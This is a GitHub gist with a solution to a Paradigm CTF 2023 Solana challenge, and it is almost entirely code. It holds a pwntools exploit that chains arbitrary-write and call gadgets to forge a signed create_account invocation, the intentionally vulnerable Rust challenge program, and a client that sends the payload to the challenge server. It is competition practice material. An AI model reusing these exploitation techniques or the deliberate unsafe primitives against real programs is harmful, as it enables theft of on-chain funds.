Skip to content

Instantly share code, notes, and snippets.

@push0ebp
Created November 1, 2023 07:56
Show Gist options
  • Select an option

  • Save push0ebp/e9724fc673011ea8c066904a18b78d75 to your computer and use it in GitHub Desktop.

Select an option

Save push0ebp/e9724fc673011ea8c066904a18b78d75 to your computer and use it in GitHub Desktop.
Paradigm CTF 2023 - Jumpled Otter Problems Write-up
from pwn import *
from base58 import *
context.bits = 64
REMOTE = int(bool(args.REMOTE))
encoded_user_pk = args.USER_PK
user_pk = b58decode(encoded_user_pk.encode())
target_pda_pk = b58decode(b'Ei3Ny8gV2uEtFKL8XzLMkQN5t3Rzhdy9apaAJxAoNAHT')
my_program_id = b58decode(b'osecio1111111111111111111111111111111111111')
CODE_BASE = 0x100000000
STACK_BASE = 0x200000000
HEAP_BASE = 0x300000000
INPUT_BASE = 0x400000000
INST_ALIGN = 0x100
write_func = CODE_BASE + 0x2b0 # 00000000000002b0 <chall::write>
process_func = CODE_BASE + 0x180 # 0000000000000180 <chall::process>
syscall_gadget = CODE_BASE + 883 * 8 # sol_invoke_signed_rust callsite
'''
883 bf a1 00 00 00 00 00 00 r1 = r10 <- will call here
; pub fn invoke_signed_unchecked(
884 07 01 00 00 b0 ff ff ff r1 += -0x50
; cratesyscallssol_invoke_signed_rust(
885 79 a2 78 ff 00 00 00 00 r2 = *(u64 *)(r10 - 0x88)
886 79 a3 80 ff 00 00 00 00 r3 = *(u64 *)(r10 - 0x80)
887 79 a4 68 ff 00 00 00 00 r4 = *(u64 *)(r10 - 0x98)
888 79 a5 70 ff 00 00 00 00 r5 = *(u64 *)(r10 - 0x90)
889 85 10 00 00 ff ff ff ff call -0x1
'''
r10 = STACK_BASE + 0x1000 + 0x52000 # current r10 at the time of calling syscall_gadget
# fun process_instruction(program_id: &Pubkey, accounts: &[AccountInfo], instruction_data: &[u8])
account_infos = HEAP_BASE + 0x7f40 # accounts parameter address
input_data_start_addr = INPUT_BASE + [0x15f20, 0x15ec8][REMOTE]
write_arg_start_addr = input_data_start_addr + 0x800 # addr write() will refer to
class Exploit():
def __init__(self):
self.payload = b''
self.write_arg = b''
def call(self, addr1, arg1):
self.payload += fit(addr1, arg1)
def process(self, addr1, arg1, addr2, arg2):
self.payload += fit(addr1, arg1, addr2, arg2)
# payload = (process(write_func, &write_arg[i*0x8*2:], process_func, &input_data[i*0x8*4:]) * n | write_arg
def write(self, addr, value):
current_input_data_addr = input_data_start_addr + len(self.payload)
next_input_data_addr = current_input_data_addr + 8 * 4 # size of process()'s data parameter
write_arg_addr = write_arg_start_addr + len(self.write_arg)
self.process(write_func, write_arg_addr, process_func, next_input_data_addr)
write_args = fit([addr, value])
self.write_arg += write_args
def write_bytes(self, addr, data):
data = fit(data, word_size=8)
data = data.ljust(align(8, len(data)), b'\x00')
for i, value in enumerate(unpack_many(data)):
self.write(addr + (i*8), value)
ex = Exploit()
# stage1
# r1 <- create_account_ix: &Instruction
# set r1(arg1) <- instruction_addr
# write Instruction to call system_instruction::create_account()
'''
// exp.rs
let space: u64 = 0x1337;
let lamports_required: u64 = Rent::get()?.minimum_balance(space as usize);
let create_account_ix = system_instruction::create_account(
user.key, // from_pubkey: &Pubkey
&target_pda_pk.key, // to_pubkey: &Pubkey
lamports_required, // lamports: u64
space, // space: u64
my_program_id, // owner: &Pubkey
)
'''
# write Instruction.accounts: Vec<AccountMeta>
'''
// solana_program::instruction::AccountMeta
pub struct AccountMeta {
/// An account's public key.
pub pubkey: Pubkey,
/// True if an `Instruction` requires a `Transaction` signature matching `pubkey`.
pub is_signer: bool,
/// True if the account data or metadata may be mutated during program execution.
pub is_writable: bool,
}
'''
is_signer = True # AccountMeta.is_signer
is_writable = True # # AccountMeta.is_writable
from_account_meta = fit(user_pk, is_signer, is_writable, word_size=8)
to_account_meta = fit(target_pda_pk, is_signer, is_writable, word_size=8)
'''
// solana_program::system_instruction::create_account()
let account_metas = vec![
AccountMeta::new(*from_pubkey, true),
AccountMeta::new(*to_pubkey, true),
];
'''
accounts_metas = [from_account_meta, to_account_meta]
accounts_metas_addr = HEAP_BASE + 0x200
ex.write_bytes(accounts_metas_addr, accounts_metas)
# write Instruction.data: Vec<u8>
'''
// solana_program::system_instruction::create_acount()
Instruction::new_with_bincode(
system_program::id(),
SystemInstruction::CreateAccount {
/// Number of lamports to transfer to the new account
lamports: u64,
/// Number of bytes of memory to allocate
space: u64,
/// Address of program that will own the new account
owner: Pubkey,
},,
account_metas,
)
'''
ins_data_addr = HEAP_BASE + 0x280
# serialized by bincode::serialize(SystemInstruction::CreateAccount{lamports, space, owner})
# = bincode::serialize({Rent::get()?.minimum_balance(0x1337), 0x1337, my_program_id})
ins_data = fit([0, 0, 0, 0, 80, 255, 23, 2, 0, 0, 0, 0, 55, 19, 0, 0, 0, 0, 0, 0, 12, 1, 252, 87, 208, 222, 131, 53, 55, 135, 252, 223, 32, 181, 133, 175, 68, 43, 176, 179, 71, 84, 12, 115, 208, 28, 99, 128, 0, 0, 0, 0], word_size=8)
ex.write_bytes(ins_data_addr, ins_data)
'''
// solana_program::stable_layout::stable_instruction
pub struct StableInstruction {
pub accounts: StableVec<AccountMeta>,
pub data: StableVec<u8>,
pub program_id: Pubkey,
}
'''
# write Instruction as StableInstruction
'''
// solana_program::program::invoke_signed_unchecked
let instruction = StableInstruction::from(instruction.clone());
'''
ins_addr = r10 - 0x50 # 884 07 01 00 00 b0 ff ff ff r1 += -0x50
ex.write_bytes(ins_addr, fit([
accounts_metas_addr, # StableInstruction.accounts.ptr
len(accounts_metas), # StableInstruction.accounts.len
len(accounts_metas), # StableInstruction.accounts.capacity
ins_data_addr, # StableInstruction.data.ptr
len(ins_data), # StableInstruction.data.len
len(ins_data), # StableInstruction.data.capacity
]))
system_program_id = b58decode('11111111111111111111111111111111') # system_program::id()
ex.write_bytes(ins_addr + 0x30, system_program_id) # StableInstruction.data.program_id
# stage2
# r2, r3 <- &[user.clone(), target_pda.clone(), system_program.clone()]: &[AccountInfo];
# set r2(arg2) <- account_infos_addr
# 885 79 a2 78 ff 00 00 00 00 r2 = *(u64 *)(r10 - 0x88)
ex.write(r10 - 0x88, account_infos)
# set r3(arg3) <- account_infos_len
# 886 79 a3 80 ff 00 00 00 00 r3 = *(u64 *)(r10 - 0x80)
ACCOUNT_INFOS_LEN = 3
ex.write(r10 - 0x80, ACCOUNT_INFOS_LEN)
# stage3
# r4, r5 = &[&[&b"FLAG"[..]]]: &[&[&[u8]]]
# set r4(arg4) <- signers_seeds_addr
signers_seeds_ptr = HEAP_BASE + 0x400 # &[&"FLAG"[..]]
seed_slice_ptr = signers_seeds_ptr + 0x10 # &"FLAG"[..]
ex.write(signers_seeds_ptr, seed_slice_ptr) # *[&"FLAG"[..]].ptr <- &"FLAG"[..]
ex.write(signers_seeds_ptr + 0x8, 1) # [&"FLAG"[..]].len <- 1
seed_addr = signers_seeds_ptr + 0x20 # &b"FLAG"
SEED = b'FLAG'
ex.write(seed_slice_ptr, seed_addr) # "FLAG"[..].ptr <- &b"FLAG"
ex.write(signers_seeds_ptr + 0x18, len(SEED)) # "FLAG"[..].len <- b"FLAG".len
ex.write(seed_addr, u32(SEED)) # b"FLAG"
# 887 79 a4 68 ff 00 00 00 00 r4 = *(u64 *)(r10 - 0x98)
ex.write(r10 - 0x98, signers_seeds_ptr) # signers_seeds_addr = [&[&"FLAG"[..]]].ptr
# set r5(arg5) = signers_seeds_len
# 888 79 a5 70 ff 00 00 00 00 r5 = *(u64 *)(r10 - 0x90)
ex.write(r10 - 0x90, 1) # [&[&"FLAG"[..]]].len
# to reach exit normally
ex.write(r10 - 0x78, STACK_BASE) # 895 79 a1 88 ff 00 00 00 00 r1 = *(u64 *)(r10 - 0x78)
ex.write(r10 - 0x48, STACK_BASE) # 898 79 a2 b8 ff 00 00 00 00 r2 = *(u64 *)(r10 - 0x48)
ex.write(r10 - 0x30, STACK_BASE) # 904 79 a2 d0 ff 00 00 00 00 r2 = *(u64 *)(r10 - 0x30)
ex.call(syscall_gadget, 0) # call sol_invoke_signed_rust
pda_data_addr = INPUT_BASE + 0x28c0 # target_pda.data.borrow_mut();
ex.write(pda_data_addr, 0x4337) # target_pda[..8].copy_from_slice(&value.to_le_bytes());
ex.payload = ex.payload.ljust(INST_ALIGN * 8, b'\x00')
ex.payload += ex.write_arg
write('payload.bin', ex.payload)
// framework/chall/src/lib.rs
use solana_program::{instruction::Instruction, program::invoke_signed_unchecked, pubkey, account_info::AccountInfo, entrypoint, entrypoint::ProgramResult, pubkey::Pubkey, msg};
use solana_program::{
account_info::next_account_info,
system_instruction,
};
use solana_program::sysvar::rent::Rent;
use solana_program::sysvar::Sysvar;
pub const ID: Pubkey = pubkey!("osecio1111111111111111111111111111111111111");
pub const SYS_ACC: Pubkey = pubkey!("11111111111111111111111111111111");
// declare and export the program's entrypoint
entrypoint!(process_instruction);
#[inline(never)]
pub fn process(mut data: &[u8]) {
unsafe {
let ptr = std::mem::transmute::<[u8; 8], fn(u64)>(data[..8].try_into().unwrap());
let val = std::mem::transmute::<[u8; 8], u64>(data[8..16].try_into().unwrap());
ptr(val);
data = &data[16..];
let ptr = std::mem::transmute::<[u8; 8], fn(u64)>(data[..8].try_into().unwrap());
let val = std::mem::transmute::<[u8; 8], u64>(data[8..16].try_into().unwrap());
ptr(val);
}
}
#[inline(never)]
pub fn write(data: &[u8]) {
unsafe {
let ptr = std::mem::transmute::<[u8; 8], *mut u64>(data[..8].try_into().unwrap());
let val = std::mem::transmute::<[u8; 8], u64>(data[8..16].try_into().unwrap());
ptr.write_volatile(val);
}
}
#[inline(never)]
pub fn process_instruction(
program_id: &Pubkey,
accounts: &[AccountInfo],
_data: &[u8]
) -> ProgramResult {
let mut account_iter = accounts.iter();
let user = next_account_info(&mut account_iter)?;
let target_pda = next_account_info(&mut account_iter)?;
let system_program = next_account_info(&mut account_iter)?;
let space: u64 = 0x1337;
let lamports_required = Rent::get()?.minimum_balance(space as usize);
let create_account_ix = system_instruction::create_account(
user.key,
&target_pda.key,
lamports_required,
space,
program_id,
);
invoke_signed_unchecked(
&create_account_ix,
&[user.clone(), target_pda.clone(), system_program.clone()],
&[&[&b"FLAG"[..]]],
)?;
let value: u64 = 0x4337;
let mut target_pda_data = target_pda.data.borrow_mut();
target_pda_data[..8].copy_from_slice(&value.to_le_bytes());
Ok(())
}
#[inline(never)]
pub fn call(data: &[u8]) {
let ix = Instruction {
program_id: pubkey!("osecio5555555555555551111111111111111111111"),
data: data.try_into().unwrap(),
accounts: vec![]
};
invoke_signed_unchecked(
&ix,
&[],
&[],
).unwrap();
}
// framework-solve/src/main.rs
use solana_program::{instruction::AccountMeta, pubkey::Pubkey, system_program, pubkey};
use std::net::TcpStream;
use std::{error::Error, io::prelude::*, io::BufReader, str::FromStr};
use std::process::Command;
use std::fs::File;
fn get_line<R: Read>(reader: &mut BufReader<R>) -> Result<String, Box<dyn Error>> {
let mut line = String::new();
reader.read_line(&mut line)?;
let ret = line
.split(':')
.nth(1)
.ok_or("invalid input")?
.trim()
.to_string();
Ok(ret)
}
fn main() -> Result<(), Box<dyn Error>> {
println!("running");
// let mut stream = TcpStream::connect("localhost:1337")?;
let mut stream = TcpStream::connect("jotterp.challenges.paradigm.xyz:1337")?;
let mut reader = BufReader::new(stream.try_clone().unwrap());
let mut line = String::new();
let s = &get_line(&mut reader)?;
let _user = Pubkey::from_str(s)?;
// TODO
let program_id = pubkey!("osecio1111111111111111111111111111111111111");
let target_pda = Pubkey::create_program_address(&["FLAG".as_ref()], &program_id)?;
let mut data: Vec<u8> = vec![];
let cmd = Command::new("python3")
.arg("exp.py")
.arg(format!("USER_PK={}", s))
.arg("REMOTE=1")
.output()?;
println!("{}", String::from_utf8(cmd.stdout).unwrap());
println!("{}", String::from_utf8(cmd.stderr).unwrap());
let mut file = File::open("payload.bin")?;
file.read_to_end(&mut data)?;
let metas: Vec<AccountMeta> = vec![
AccountMeta::new(_user, true),
AccountMeta::new(target_pda, false),
AccountMeta::new_readonly(system_program::ID, false),
AccountMeta::new(program_id, false),
];
// TODO
reader.read_line(&mut line)?;
writeln!(stream, "{}", metas.len())?;
for meta in metas {
let mut meta_str = String::new();
meta_str.push('m');
if meta.is_writable {
meta_str.push('w');
}
if meta.is_signer {
meta_str.push('s');
}
meta_str.push(' ');
meta_str.push_str(&meta.pubkey.to_string());
println!("{:?}", &meta.pubkey.to_string());
writeln!(stream, "{}", meta_str)?;
stream.flush()?;
}
reader.read_line(&mut line)?;
writeln!(stream, "{}", data.len())?;
stream.write_all(&data)?;
stream.flush()?;
line.clear();
while reader.read_line(&mut line)? != 0 {
print!("{}", line);
line.clear();
}
Ok(())
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment